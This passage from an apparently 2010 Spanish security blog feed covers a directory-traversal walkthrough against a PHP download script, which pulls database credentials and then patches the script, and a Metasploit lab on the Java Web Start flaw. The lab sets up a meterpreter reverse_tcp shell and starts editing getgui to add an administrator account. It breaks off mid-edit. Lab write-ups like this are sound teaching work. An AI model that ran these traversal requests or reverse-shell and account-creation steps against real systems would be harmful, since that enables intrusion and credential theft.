/&gt;{&lt;br /&gt; case "pdf": $ctype="application/pdf"; break;&lt;br /&gt; case "exe": $ctype="application/octet-stream"; break;&lt;br /&gt; case "zip": $ctype="application/zip"; break;&lt;br /&gt; case "doc": $ctype="application/msword"; break;&lt;br /&gt; case "xls": $ctype="application/vnd.ms-excel"; break;&lt;br /&gt; case "ppt": $ctype="application/vnd.ms-powerpoint"; break;&lt;br /&gt; case "gif": $ctype="image/gif"; break;&lt;br /&gt; case "png": $ctype="image/png"; break;&lt;br /&gt; case "jpeg":&lt;br /&gt; case "jpg": $ctype="image/jpg"; break;&lt;br /&gt; default: $ctype="application/force-download";&lt;br /&gt;&lt;br /&gt;header("Pragma: public"); // required&lt;br /&gt;header("Expires: 0");&lt;br /&gt;header("Cache-Control: must-revalidate, post-check=0, pre-check=0");&lt;br /&gt;header("Cache-Control: private",false); // required for certain browsers&lt;br /&gt;header("Content-Type: $ctype");&lt;br /&gt;// change, added quotes to allow spaces in filenames, by Rajkumar Singh&lt;br /&gt;header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );&lt;br /&gt;header("Content-Transfer-Encoding: binary");&lt;br /&gt;header("Content-Length: ".filesize($filename));&lt;br /&gt;readfile("$filename");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;en la primera linea, podemos ver que toma el nombre del archivo por la variable &lt;span style="font-weight:bold;"&gt;$_GET['file']&lt;/span&gt; y lo guarda en $filename, luego en la linea 4 lo que hace esta funcion es tomar todo el nombre del archivo y solo obtener su extension por ejemplo, si el archivo a descargar es &lt;span style="font-weight:bold;"&gt;archivo.pdf&lt;/span&gt; la variable $file_extension va a contener &lt;span style="font-weight:bold;"&gt;pdf&lt;/span&gt;, aca fue lo que me parecio algo muy bueno cuando estaba leyendo el codigo, pero solo lo usa para colocar el tipo de &lt;a href="http://www.htmlquick.com/es/reference/mime-types.html"&gt;MIME&lt;/a&gt;(linea 12), lo cual esta muy bien pero tambien ubiera filtrado con ellos una black-list para que no se pueda descargar entensiones peligrosas. &lt;br /&gt;En la linea 31 mostramos el nombre del archivo que le aparecera al usuario cuadno descarga y en la linea 33 el Content-Lenght es el tamaño del archivo, ah y la linea 29 es el MIME del que hablamos anteriormente. :)&lt;br /&gt;Como la descarga se realizo con un php podemos llegar a pensar que podemos descargar cualquier php de la web, entonces buscaremos descargar el index que es donde puede haber datos interesantes de conexion de base de datos :)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;http://www.sitio.com/descarga/download.php?file=../index.php &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/TCA4pPvGBUI/AAAAAAAAAPQ/Wu1FkpIQmDM/s1600/cuadrado_vista_pagina2.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 175px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/TCA4pPvGBUI/AAAAAAAAAPQ/Wu1FkpIQmDM/s320/cuadrado_vista_pagina2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5485446627387114818" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Al abrir el archivo index.php vemos esta informacion un poco mas interesante que la anterior&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_DI2yEVgm8Qk/TCA6ap-TzhI/AAAAAAAAAPY/Z95cy1eb8S8/s1600/directorytransversal3.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 182px;" src="http://4.bp.blogspot.com/_DI2yEVgm8Qk/TCA6ap-TzhI/AAAAAAAAAPY/Z95cy1eb8S8/s320/directorytransversal3.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5485448575755472402" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Nos descargamos el archivo class_DB.php, y dentro de ese archivo vemos una linea mucho mas interesante &lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="php"&gt;&lt;br /&gt;include("conectar.php");&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Y como piensan que sigue esto? ........... Si correcto, nos descargamos el archivo conectar.php&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/TCA8NwqZqUI/AAAAAAAAAPg/kolkFdBQ-l4/s1600/directorytransversal4.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 165px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/TCA8NwqZqUI/AAAAAAAAAPg/kolkFdBQ-l4/s320/directorytransversal4.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5485450553235974466" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bien ahora queda buscar el phpmyadmin, colocando www.sitio.com/phpmyadmin de la forma facil, y si no encontramos ahi podemos largar algun bruteador. O tambien que es la que mas me gusta por el cliente de mysql, primero comprobamos si el puerto esta abierto hacia el publico con Nmap :)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/TCA-XnsylaI/AAAAAAAAAPo/HVO8rqePkLA/s1600/directorytransversal5.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 117px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/TCA-XnsylaI/AAAAAAAAAPo/HVO8rqePkLA/s320/directorytransversal5.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5485452921652024738" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;y ahora nos conectamos &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/TCBAKucOKYI/AAAAAAAAAPw/cn6EYnuFRFI/s1600/directorytransversal6.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 187px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/TCBAKucOKYI/AAAAAAAAAPw/cn6EYnuFRFI/s320/directorytransversal6.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5485454899146533250" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Creo que queda entendida la peligrosidad de lo que se expone a no validar estas entradas asi como todas las entradas que se le da al usuario, siempre hay que verificarlas. Desde una simple bajada de archivo pudimos ingresar a sus datos, romper la confidencialidad de ellos, podriamos romper su integridad y hasta la disponibilidad de su sitio Web.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Para completar, al mismo script, le coloque seguridad, para que no se pueda descargar alguna extension peligrosa como php, asp, inc, etc. y para que no se pueda escalar directorios.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="php"&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;$index="http://".$_SERVER['SERVER_NAME']."/index.php";&lt;br /&gt;$filename = basename($_GET['file']);&lt;br /&gt;$ruta="descargas/".$filename;&lt;br /&gt;// addition by Jorg Weske&lt;br /&gt;$file_extension = strtolower(substr(strrchr($filename,"."),1));&lt;br /&gt;#------------Bloque Seguridad ------------------&lt;br /&gt;if(preg_match('/(php|asp|ini|inc|bak)/',$file_extension)){&lt;br /&gt;   header("Location:".$index);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;elseif( $filename == "" ) &lt;br /&gt;{&lt;br /&gt;   header("Location:".$index);&lt;br /&gt;}&lt;br /&gt;elseif( ! file_exists( $ruta ) ) &lt;br /&gt;{&lt;br /&gt;   header("Location:".$index);&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;#-----------Fin Bloque Seguridad--------------&lt;br /&gt;switch($file_extension )&lt;br /&gt;{&lt;br /&gt;  case "pdf": $ctype="application/pdf"; break;&lt;br /&gt;  case "exe": $ctype="application/octet-stream"; break;&lt;br /&gt;  case "zip": $ctype="application/zip"; break;&lt;br /&gt;  case "doc": $ctype="application/msword"; break;&lt;br /&gt;  case "xls": $ctype="application/vnd.ms-excel"; break;&lt;br /&gt;  case "ppt": $ctype="application/vnd.ms-powerpoint"; break;&lt;br /&gt;  case "gif": $ctype="image/gif"; break;&lt;br /&gt;  case "png": $ctype="image/png"; break;&lt;br /&gt;  case "jpeg":&lt;br /&gt;  case "jpg": $ctype="image/jpg"; break;&lt;br /&gt;  default: $ctype="application/force-download";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;header("Pragma: public"); // required&lt;br /&gt;header("Expires: 0");&lt;br /&gt;header("Cache-Control: must-revalidate, post-check=0, pre-check=0");&lt;br /&gt;header("Cache-Control: private",false); // required for certain browsers &lt;br /&gt;header("Content-Type: $ctype");&lt;br /&gt;header("Content-Disposition: attachment; filename=\"".$filename."\";" );#nombre del archivo en la descarga&lt;br /&gt;header("Content-Transfer-Encoding: binary");&lt;br /&gt;header("Content-Length: ".filesize($ruta));&lt;br /&gt;readfile("$ruta");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;La segunda linea usamos la funciona &lt;span style="font-weight:bold;"&gt;basename&lt;/span&gt;, que logra que si el usuario coloca por ejemplo /carpeta/carpeta2/archivo.pdf, nos devilvera &lt;span style="font-weight:bold;"&gt;archivo.pdf&lt;/span&gt;, eliminado toda la ruta anterior y con la ayuda de la linea 3 ponemos una carpeta llamada &lt;span style="font-weight:bold;"&gt;descargas&lt;/span&gt;, la cual en ella contendra todos los archivos para descargas (valga la redundancia), y donde el usuario nunca podra escaparse de ella.&lt;br /&gt;Asi por ejemplo si el usuario intenta descargar de esta forma&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;www.sitio.com.ar/download.php?file=/etc/passwd&lt;/span&gt; la variable &lt;span style="font-weight:bold;"&gt;$filename&lt;/span&gt; quedara con el valor &lt;span style="font-weight:bold;"&gt;passwd&lt;/span&gt;, y concatenando con la carpeta &lt;span style="font-weight:bold;"&gt;descargas&lt;/span&gt; la variable &lt;span style="font-weight:bold;"&gt;$ruta&lt;/span&gt; contendra &lt;span style="font-weight:bold;"&gt;descargas/passwd&lt;/span&gt;&lt;br /&gt;En el bloque de seguridad, la primer linea verifica con una expresion regular que si existe esas extensiones, te direcciones al index (se puede colocar tantas como guste en esa lista).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Eso es todo&lt;br /&gt;&lt;br /&gt;Saludos&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-5432959024245498299?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/5432959024245498299/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2010/06/directory-transversal-en-descarga-de.html#comment-form' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/5432959024245498299'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/5432959024245498299'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2010/06/directory-transversal-en-descarga-de.html' title='Directory Transversal en descarga de Archivo'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_DI2yEVgm8Qk/TCAxGTZ1PvI/AAAAAAAAAPI/kIryoJvLvps/s72-c/directorytransversal.png' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-7378201605622783176</id><published>2010-06-16T11:09:00.000-07:00</published><updated>2010-06-16T12:08:30.257-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad Informatica'/><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><category scheme='http://www.blogger.com/atom/ns#' term='Apache'/><title type='text'>Seguridad en Apache</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/TBkfNQpw_1I/AAAAAAAAAO8/xa8swLbUVSk/s1600/apache1.gif"&gt;&lt;img style="cursor: pointer; width: 320px; height: 320px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/TBkfNQpw_1I/AAAAAAAAAO8/xa8swLbUVSk/s320/apache1.gif" alt="" id="BLOGGER_PHOTO_ID_5483448333969194834" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;Bueno hace mucho que no andaba haciendo nada por el blog, por motivos de la facultad y otras cuestiones personales :).&lt;br /&gt;Tengo que dar una clase en la Facultad &lt;a href="http://exa.unne.edu.ar/"&gt;Fa.C.E.N.A&lt;/a&gt;, en la catedra Redes de Altas Prestaciones en la cual soy adscripto, y como tema elegi &lt;a href="http://www.apache.org/"&gt;Apache.&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;Bueno la documentación en si no esta muy avanzada ya que seria mas que nada una introduccion a lo que es apache y como configurarlo apuntando a la seguridad en un nivel intermedio, por motivos de que solamente lo doy en una sola expocición y hay alumnos que nunca instalarón Apache, ni mucho menos tocaron Linux asi que uno de mis objetivos es que se codeen con Debian y obviamte configurar Apache que es el eje de la clase.&lt;br /&gt;Tambien trabajo con &lt;a href="http://www.apachefriends.org/en/xampp-linux.html"&gt;Lampp&lt;/a&gt;, por cuestiones de que esta catedra esta en el ultimo año y ya estamos todos con el tema de la Tesis, y algunos estan tirando hacia PHP, y este paquete nos trae todo empaquetado MySQL, PHP y Apache, aunque lo mejor hubiera sido compilarlo a Apache desde 0 descargando de la pagina oficial.&lt;br /&gt;Bueno la información que elegi creo que esta buena para empezar a toquetear las funcionalidades basicas y no tan basicas de Apache, les dejo mas abajo el material.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.apache.org/"&gt; &lt;/a&gt;&lt;br /&gt;&lt;span style="display: block;" id="formatbar_Buttons"&gt;&lt;span class=" on down" style="display: block;" id="formatbar_CreateLink" title="Enlace" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;img src="http://www.blogger.com/img/blank.gif" alt="Enlace" class="gl_link" border="0" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="width: 500px;" id="__ss_4518904"&gt;&lt;div style="text-align: center;"&gt;&lt;strong style="margin: 12px 0pt 4px; display: block;"&gt;&lt;a href="http://www.slideshare.net/magnobalt/apache-4518904" title="Apache"&gt;Apache&lt;/a&gt;&lt;/strong&gt;&lt;object id="__sse4518904" height="355" width="425"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=apache-100616130039-phpapp02&amp;amp;stripped_title=apache-4518904"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed name="__sse4518904" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=apache-100616130039-phpapp02&amp;amp;stripped_title=apache-4518904" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="355" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;div style="padding: 5px 0pt 12px;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos a todos y Feliz Dia del Padre :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-7378201605622783176?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/7378201605622783176/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2010/06/seguridad-en-apache.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/7378201605622783176'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/7378201605622783176'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2010/06/seguridad-en-apache.html' title='Seguridad en Apache'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_DI2yEVgm8Qk/TBkfNQpw_1I/AAAAAAAAAO8/xa8swLbUVSk/s72-c/apache1.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-6403296182319760339</id><published>2010-05-12T19:43:00.000-07:00</published><updated>2010-06-20T22:43:24.648-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad Informatica'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Reverse'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><title type='text'>Laboratorio Metasploit java Web Start + Escritorio Remoto Getgui</title><content type='html'>Otro mas laboratorio sobre Metasploit. Creo que este es uno de los exploit mas peligrosos con respecto a los anteriores que mostre, ya que lo estube probando y no llega a ser detectado por los AV.&lt;br /&gt;La falla reside en el Web Start de Java, el binario llamada javaws.exe, el problema es que la validacion de URL es minima por lo cual se puede realizar una inyeccion de codigo arbitrarios.&lt;br /&gt;Esta falla fueron descubiertas paralelamente por  &lt;a href="http://seclists.org/fulldisclosure/2010/Apr/119"&gt;Tavis Ormandy&lt;/a&gt; y &lt;a href="http://es.linkedin.com/in/rubensantamarta"&gt;Ruben Santamarta&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;la línea de comandos "-XXaltjvm "y&lt;/span&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt; curiosamente también "-J-XXaltjvm "(vea el interruptor -J en javaws.exe). Esto indica a Java que cargue una bibliotec JavaVM alternativa (jvm.dll o libjvm.so) desde la ruta deseada. Fin del juego. Podemos establecer-XX&lt;/span&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;altjvm = \ \ IP\maligno, de esta manera javaw.exe cargará nuestra jvm.dll maligna. Adios ASLR, DEP .. . ", dijo Santamarta en su comunicado. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Un buen documento explicado sobre la falla es en este &lt;a href="http://www.pentester.es/2010/05/vulnerabilidad-en-java-web-start.html"&gt;link&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Para que funcione este exploit desde Metasploit Framework, tenemos que estar en una maquina como root y no tener ningun servidor SMB corriendo, el otro requerimiento es que en la maquina victima tiene que estar el WebClient prendido. La forma de verificar si esta corriendo el servicio es&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-style: italic; font-weight: bold;"&gt;C:\&gt;sc query webclient | find "STATE"&lt;br /&gt;STATE              : 4  RUNNING&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="color: rgb(0, 0, 153);font-size:180%;" &gt;&lt;span style="font-weight: bold;"&gt;Prueba Metasploit&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Para demostrar la falla utulizaremos el popular metasploit, y el exploit cargado llamado &lt;span style="font-weight: bold;"&gt;java_ws_arginject_altjvm&lt;/span&gt;. Abajo se muestra toda la secuencia de comandos para cargar el exploit mas el payloads, cosas ya viste anteriormente en los anteriores publicaciones sobre metasploit :)&lt;br /&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 800px; height: 100px; text-align: left;"&gt;&lt;br /&gt;#msfconsole&lt;br /&gt;            _       _&lt;br /&gt;_                   | |     (_)_&lt;br /&gt;____   ____| |_  ____  ___ ____ | | ___  _| |_&lt;br /&gt;|    \ / _  )  _)/ _  |/___)  _ \| |/ _ \| |  _)&lt;br /&gt;| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__&lt;br /&gt;|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)&lt;br /&gt;      |_|&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=[ metasploit v3.4.0-dev [core:3.4 api:1.0]&lt;br /&gt;+ -- --=[ 320 exploits - 99 auxiliary&lt;br /&gt;+ -- --=[ 217 payloads - 20 encoders - 6 nops&lt;br /&gt;=[ svn r9306 updated today (2010.05.15)&lt;br /&gt;&lt;br /&gt;msf &gt; &lt;span style="font-weight: bold;"&gt;use exploit/windows/browser/java_ws_arginject_altjvm&lt;/span&gt;&lt;br /&gt;msf exploit(java_ws_arginject_altjvm) &gt; &lt;span style="font-weight: bold;"&gt;set payload windows/meterpreter/reverse_tcp&lt;/span&gt;&lt;br /&gt;payload =&gt; windows/meterpreter/reverse_tcp&lt;br /&gt;msf exploit(java_ws_arginject_altjvm) &gt; &lt;span style="font-weight: bold;"&gt;set SRVHOST 192.168.56.1&lt;/span&gt;&lt;br /&gt;SRVHOST =&gt; 192.168.56.1&lt;br /&gt;msf exploit(java_ws_arginject_altjvm) &gt; &lt;span style="font-weight: bold;"&gt;set LHOST 192.168.56.1&lt;/span&gt;&lt;br /&gt;LHOST =&gt; 192.168.56.1&lt;br /&gt;msf exploit(java_ws_arginject_altjvm) &gt; &lt;span style="font-weight: bold;"&gt;set LPORT 3333&lt;/span&gt;&lt;br /&gt;LPORT =&gt; 3333&lt;br /&gt;msf exploit(java_ws_arginject_altjvm) &gt;&lt;br /&gt;[*] Started reverse handler on 192.168.56.1:3333&lt;br /&gt;[*] Using URL: http://192.168.56.1:80/&lt;br /&gt;[*] Server started.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ahora solo queda que la victima ingrese a nuestro servidor iniciado por el MSF con la pagina HTML maligna.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S-7-ynaIiwI/AAAAAAAAANs/NqVHvjrVtWE/s1600/java_ws3.jpeg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S-7-ynaIiwI/AAAAAAAAANs/NqVHvjrVtWE/s320/java_ws3.jpeg" alt="" id="BLOGGER_PHOTO_ID_5471590742827240194" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_DI2yEVgm8Qk/S-7-82rk9MI/AAAAAAAAAN0/wD7DwuPawdQ/s1600/java_ws4.jpeg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 158px;" src="http://4.bp.blogspot.com/_DI2yEVgm8Qk/S-7-82rk9MI/AAAAAAAAAN0/wD7DwuPawdQ/s320/java_ws4.jpeg" alt="" id="BLOGGER_PHOTO_ID_5471590918725629122" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;La maquina Virtual es un XP SP 3 y la Version de Java es:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;C:\Documents and Settings\victima 2&gt;java -version&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;java version "1.6.0_18"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Java(TM) SE Runtime Environment (build 1.6.0_18-b07)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Java HotSpot(TM) Client VM (build 16.0-b13, mixed mode, sharing)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Se aconseja actualizar Java a una version mas reciente, &lt;span style="font-weight: bold;"&gt;a &lt;a href="http://www.java.com/es/download/"&gt;partir de la 1.6.0_20&lt;/a&gt;, es donde se encuentra el parche&lt;/span&gt;,&lt;span style="font-weight: bold;"&gt; ya que es es considerada de&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;criticidad maxima a esta vulnerabilidad&lt;/span&gt;.&lt;br /&gt;De todos los exploit que he probado sobre browser hasta el momento, este es uno de los mas peligrosos, ya que es independiente del browser, y los AV hasta el momento ( por lo que eh notado ), no tienen alguna firma, aunque me paresca raro..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;font-size:180%;" &gt;ESCRITORIO REMOTO&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Cuando obtenemos una session de meterpreter, tenemos muchas funcionalidades, como migrarnos de procesos, keyloger, screenshot, capturar las llaves, etc.&lt;br /&gt;La opcion que vamos a ver, es un script que permite abrir un Terminal Server en la maquina victima, pero para que nosotros podamos usarlos sin algun problema tendremos que modificar el codigo para que coloque un usuario en el grupo &lt;span style="font-weight: bold;"&gt;Administradores&lt;/span&gt; en las version español de windows.&lt;br /&gt;&lt;br /&gt;El script se llama &lt;span style="font-weight: bold;"&gt;GETGUI&lt;/span&gt;, para modificar nos vamos a donde estan los archivos de script en mi caso:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;/opt/metasploit3/msf3/scripts/meterpreter&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En esta ruta estan lo script del meterpreter.&lt;br /&gt;&lt;br /&gt;Como veran, el &lt;span style="font-weight: bold;"&gt;getgui&lt;/span&gt; nos da algunas opciones donde una de ellas es el lenguaje, con el parametro -l le pasamos el tipo pero solo hay en &lt;span style="font-weight: bold;"&gt;Ingles y Aleman&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 800px; height: 100px; text-align: left;"&gt;&lt;br /&gt;meterpreter &gt; &lt;span style="font-weight: bold;"&gt;run getgui -h&lt;/span&gt;&lt;br /&gt;Windows Remote Desktop Enabler Meterpreter Script&lt;br /&gt;Usage: getgui -u &lt;username&gt; -p &lt;password&gt;&lt;br /&gt;Or:    getgui -e&lt;br /&gt;&lt;br /&gt;OPTIONS:&lt;br /&gt;&lt;br /&gt;-e        Enable RDP only.&lt;br /&gt;-f &lt;opt&gt;  Forward RDP Connection.&lt;br /&gt;-h        Help menu.&lt;br /&gt;-l &lt;opt&gt;  The language switch&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; Possible Options: 'de_DE', 'en_EN' / default is: 'en_EN'&lt;/span&gt;&lt;br /&gt;-p &lt;opt&gt;  The Password of the user to add.&lt;br /&gt;-u &lt;opt&gt;  The Username of the user to add.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/opt&gt;&lt;/opt&gt;&lt;/opt&gt;&lt;/opt&gt;&lt;/password&gt;&lt;/username&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Lo que haremos es editar el archivo &lt;span style="font-weight: bold;"&gt;getgui.rb&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#nano&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;/opt/metasploit3/msf3/scripts/meterpreter/getgui.rb&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Nos dirijimos a la linea 113, y cambiamos este trozo de codigo&lt;br /&gt;&lt;pre name="code" class="cpp"&gt;case lang&lt;br /&gt;when "en_EN"&lt;br /&gt;rdu = "Remote Desktop Users"&lt;br /&gt;admin = "Administrators"&lt;br /&gt;when "de_DE"&lt;br /&gt;rdu = "Remotedesktopbenutzer"&lt;br /&gt;admin = "Administratoren"&lt;br /&gt;&lt;br /&gt;end&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Por este otro&lt;br 